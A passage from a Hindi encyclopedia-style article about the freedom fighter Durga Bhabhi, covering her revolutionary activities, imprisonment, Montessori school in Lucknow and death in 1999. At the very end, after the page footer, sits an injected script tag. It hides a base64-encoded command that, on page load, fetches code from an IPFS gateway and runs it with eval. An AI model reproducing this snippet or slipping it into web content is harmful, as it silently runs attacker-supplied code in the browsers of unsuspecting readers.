इधर 63 दिन की भूख हड़ताल के बाद लाहौर जेल में ही जतिन्द्रनाथ दास यानी जतिन दा की मौत हो गई तो उनकी लाहौर से लेकर कोलकाता तक ट्रेन में और कोलकाता में भी अंतिम यात्रा की अगुवाई दुर्गा भाभी ने ही की। इधर उनके पति भगवतीचरण बोहरा ने लॉर्ड इरविन की ट्रेन पर बम फेंकने के बाद भगतसिंह, राजगुरु और सुखदेव समेत सभी क्रांतिकारियों को छुड़ाने की योजना बनाई और इसके लिए वह रावी नदी के तट पर लाहौर में बम का परीक्षण कर रहे थे। 28 मई, 1930 का दिन था कि अचानक बम फट गया और भगवतीचरण बोहरा की मौत हो गई। दुर्गा भाभी को बड़ा झटका लगा, लेकिन वह जल्द ही उबर गईं और देश की आज़ादी को ही अपने जीवन का आखिरी लक्ष्य मान लिया। तब दुर्गा भाभी ने अंग्रेज़ों को सबक सिखाने के लिए पंजाब प्रांत के पूर्व गवर्नर लॉर्ड हैली पर हमला करने की योजना बनाई। दुर्गा भाभी ने उस पर 9 अक्टूबर, 1930 को बम फेंक भी दिया। हैली और उसके कई सहयोगी घायल हो गए, लेकिन वह घायल होकर भी बच गया। उसके बाद दुर्गा भाभी बचकर निकल गईं, लेकिन जब मुंबई से पकड़ी गईं तो उन्हें तीन साल के लिए जेल भेज दिया गया। बताया तो ये भी जाता है कि चंद्रशेखर आज़ाद के पास आखिरी वक्त में जो माउजर था, वह भी दुर्गा भाभी ने ही उनको दिया था।

मांटेसरी स्कूल की शुरुआत

एक-एक करके जब सारे क्रांतिकारी इस दुनिया में नहीं रहे तो दुर्गा भाभी के लिए काफ़ी मुश्किल हो गई। बेटा भी बड़ा हो रहा था और पुलिस भी उन्हें बार-बार परेशान कर रही थी। लाहौर से उन्हें ज़िला बदर कर दिया गया। ऐसे में वह 1935 में गाज़ियाबाद निकल आईं, जहां उन्होंने एक स्कूल में अध्यापिका की नौकरी कर ली। दो साल के लिए कांग्रेस के साथ भी काम किया, लेकिन फिर छोड़ दिया। फिर उन्होंने मद्रास जाकर मांटेसरी सिस्टम की ट्रेनिंग ली और फिर लखनऊ में कैंट रोड पर एक मांटेसरी स्कूल खोला। शुरू में जिसमें सिर्फ पांच बच्चे थे। आज़ादी के बाद उन्होंने सत्ता और नेताओं से काफ़ी दूरी बना ली। 1956 में जब जवाहरलाल नेहरू को उनके बारे में पता चला तो लखनऊ में उनके स्कूल में एक बार मिलने आए। नेहरू जी ने उनकी मदद करने की पेशकश भी की थी। कहा जाता है कि दुर्गा भाभी ने विनम्रता से मना कर दिया था। दुर्गा भाभी को मांटेसरी स्कूलिंग सिस्टम के शुरुआती लोगों में गिना जाता है।

मृत्यु

मीडिया और सत्ताधीशों को दुर्गा भाभी की आखिरी खबर 15 अक्टूबर, 1999 के दिन मिली, जब गाज़ियाबाद के एक कमरे में उनकी मौत हो गई। तब वह 92 साल की थीं। ये शायद उनके पति के विचारों का ही उन पर प्रभाव था कि पहाड़ जैसी जिंदगी अकेले ही और इतने साहस के साथ गुजार दी और ना जाने कितनों को साहस से जीने की प्रेरणा दी। दुर्गा भाभी ने देश के लिए, उसकी आज़ादी के लिए अपने पति, परिवार, बच्चा और एक खुशहाल जीवन सब कुछ दांव पर लगा दिया, लेकिन आज़ादी के बाद जिस तरह से उन्होंने गुमनामी की चादर ओढ़ी और खुद को बच्चों की एजुकेशन तक सीमित कर लिया, वह वाकई हैरतअंगेज था। शायद ये उनके सपनों का भारत नहीं था, जैसा उन्होंने कभी कल्पना की थी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>